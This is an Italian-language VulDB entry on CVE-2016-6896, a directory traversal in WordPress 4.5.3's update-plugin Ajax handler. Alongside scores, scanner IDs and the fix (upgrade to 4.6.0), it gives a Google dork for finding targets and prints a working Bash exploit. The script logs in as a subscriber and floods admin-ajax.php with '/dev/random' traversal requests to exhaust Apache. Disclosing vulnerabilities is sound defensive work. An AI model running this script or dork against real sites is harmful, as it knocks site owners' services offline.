WordPress 4.5.3 ajax-actions.php wp_ajax_update_plugin directory traversal

CVSS Punteggio meta temporaneoPrezzo attuale dell'exploit (≈)Punteggio di interesse CTI
6.8$0-$5k0.00

Riassuntoinformazioni

Un punto di debole di livello problematico è stato rilevato in WordPress 4.5.3. É interessato la funzione wp_ajax_update_plugin del file ajax-actions.php. Per causa della manipolazione di un input sconosciuto se causa una vulnerabilità di classe directory traversal. Questa vulnerabilità è segnalata come CVE-2016-6896. L'attacco si effettua con la rete. Inoltre, è presente un exploit disponibile. È raccomandato aggiornare il componente coinvolto.

Dettagliinformazioni

In WordPress 4.5.3 (Content Management System) è stato trovato un punto critico di livello critico. Da questa vulnerabilità è interessato la funzione wp_ajax_update_plugin del file ajax-actions.php. Attraverso la manipolazione di un input sconosciuto se causa una vulnerabilità di classe directory traversal. Questo agisce su la disponibilità.

La vulnerabilità è stata pubblicata in data 22/08/2016 da Yorick Koster con identificazione Path traversal vulnerability in WordPress Core Ajax handlers con un avis (Website) (confermato). L'advisory è scaricabile da sumofpwn.nl. Questa vulnerabilità è identificata come CVE-2016-6896. L'uso è semplice. Con la rete può partire l'attacco. Per accederre all'uso è necessaria una semplice autentificazione. I dettagli tecnici e un pubblico metodo di utilizzo sono conosciuti.

Un metodo di utilizzo è stato sviluppato in Bash ed è stata pubblicata immediatamente dopo il comunicato. L'exploit è scaricabile da sumofpwn.nl. È stato dichiarato come funzionale. Cercando inurl:ajax-actions.php è possibile trovare obiettivi vulnerabili con Google Hacking. È disponibile un plugin per lo scanner Nessus, numero ID 93111 (WordPress < 4.6 Multiple Vulnerabilities), che può aiutare a determinare l'esistenza della criticità nel sistema analizzato. Il codice utilizzato dal exploit è:

#!/bin/bash
target="http://<target>"
username="subscriber"
password="password"
cookiejar=$(mktemp)
   
# login
curl --cookie-jar "$cookiejar" \
   --data "log=$username&pwd=$password&wp-submit=Log+In&redirect_to=%2f&testcookie=1" \
   "$target/wp-login.php" \
   >/dev/null 2>&1
   
# exhaust apache
for i in `seq 1 1000`
   do
      curl --cookie "$cookiejar" \
      --data "plugin=../../../../../../../../../../dev/random&action=update-plugin" \
      "$target/wp-admin/admin-ajax.php" \
      >/dev/null 2>&1 &
done
   
rm "$cookiejar"

L'aggiornamento alla versione 4.6.0 elimina questa vulnerabilità. L'aggiornamento è scaricabile da codex.wordpress.org. Una possibile soluzione è stata pubblicata già prima e non dopo la pubblicazione della vulnerabilità.

La vulnerabilità è documentata anche nel database Exploit-DB (40288), Tenable (93111), SecurityFocus (BID 92572†) e SecurityTracker (ID 1036683†). If you want to get best quality of vulnerability data, you may have to visit VulDB.

Prodottoinformazioni

Genere

Nome

Versione

Licenza

Sito web

CPE 2.3informazioni

CPE 2.2informazioni

CVSSv4informazioni

VulDB Vettore: 🔍
VulDB Affidabilità: 🔍

CVSSv3informazioni

VulDB Punteggio meta-base: 7.1
VulDB Punteggio meta temporaneo: 6.8

VulDB Punteggio di base: 7.1
VulDB Punteggio temporaneo: 6.6
VulDB Vettore: 🔍
VulDB Affidabilità: 🔍

NVD Punteggio di base: 7.1
NVD Vettore: 🔍

CVSSv2informazioni

AVACAuCIA
💳💳💳💳💳💳
💳💳💳💳💳💳
💳💳💳💳💳💳
VettoreComplessitàAutenticazioneRiservatezzaIntegritàDisponibilità
SbloccareSbloccareSbloccareSbloccareSbloccareSbloccare
SbloccareSbloccareSbloccareSbloccareSbloccareSbloccare
SbloccareSbloccareSbloccareSbloccareSbloccareSbloccare

VulDB Punteggio di base: 🔍
VulDB Punteggio temporaneo: 🔍
VulDB Affidabilità: 🔍

NVD Punteggio di base: 🔍

Sfruttamentoinformazioni

Classe: Directory traversal
CWE: CWE-22
CAPEC: 🔍
ATT&CK: 🔍

Fisico: No
Locale: No
Remoto: Si

Disponibilità: 🔍
Accesso: Pubblico
Stato: Funzionale
Linguaggio di programmazione: 🔍
Scaricare: 🔍
Google Hack: 🔍

EPSS Score: 🔍
EPSS Percentile: 🔍

Previsione dei prezzi: 🔍
Preventivo attuale: 🔍

0-DaySbloccareSbloccareSbloccareSbloccare
OggiSbloccareSbloccareSbloccareSbloccare

Nessus ID: 93111
Nessus Nome: WordPress < 4.6 Multiple Vulnerabilities
Nessus File: 🔍
Nessus Rischio: 🔍
Nessus Famiglia: 🔍
Nessus Context: 🔍

OpenVAS ID: 64581
OpenVAS Nome: Fedora Update for wordpress FEDORA-2016-91bfe9ddb8
OpenVAS File: 🔍
OpenVAS Famiglia: 🔍

Qualys ID: 🔍
Qualys Nome: 🔍

Exploit-DB: 🔍

Intelligence sulle minacceinformazioni

Interesse: 🔍
Attori attivi: 🔍
Gruppi APT attivi: 🔍

Contromisureinformazioni

Raccomandazione: Aggiornamento
Stato: 🔍

Tempo 0 giorni: 🔍
Tempo di ritardo sfruttamento: 🔍

Aggiornamento: WordPress 4.6.0

Sequenza temporaleinformazioni

16/08/2016 🔍
20/08/2016 +4 giorni 🔍
22/08/2016 +2 giorni 🔍
22/08/2016 +0 giorni 🔍
22/08/2016 +0 giorni 🔍
22/08/2016 +0 giorni 🔍
23/08/2016 +1 giorni 🔍
25/08/2016 +2 giorni 🔍
18/01/2017 +146 giorni 🔍
13/05/2026 +3402 giorni 🔍

Fontiinformazioni

Prodotto: wordpress.com

Avis: Path traversal vulnerability in WordPress Core Ajax handlers
Ricercatore: Yorick Koster
Stato: Confermato
Conferma: 🔍

CVE: CVE-2016-6896 (🔍)
GCVE (CVE): GCVE-0-2016-6896
GCVE (VulDB): GCVE-100-90906
SecurityFocus: 92572 - WordPress CVE-2016-6897 Cross Site Request Forgery Vulnerability
SecurityTracker: 1036683

scip Labs: https://www.scip.ch/en/?labs.20161013
Varie: 🔍
Vedi anche: 🔍

Voceinformazioni

Data di creazione: 23/08/2016 11:19
Aggiornato: 13/05/2026 18:43
Cambiamenti: 23/08/2016 11:19 (83), 08/05/2019 12:58 (10), 14/09/2022 09:31 (4), 02/02/2025 15:09 (14), 13/05/2026 18:43 (1)
Completa: 🔍
Cache ID: 216::103

If you want to get best quality of vulnerability data, you may have to visit VulDB.

Discussione

Ancora nessun commento. Lingue: it + ro + en.

Effettua il login per commentare.

Do you need the next level of professionalism?

Upgrade your account now!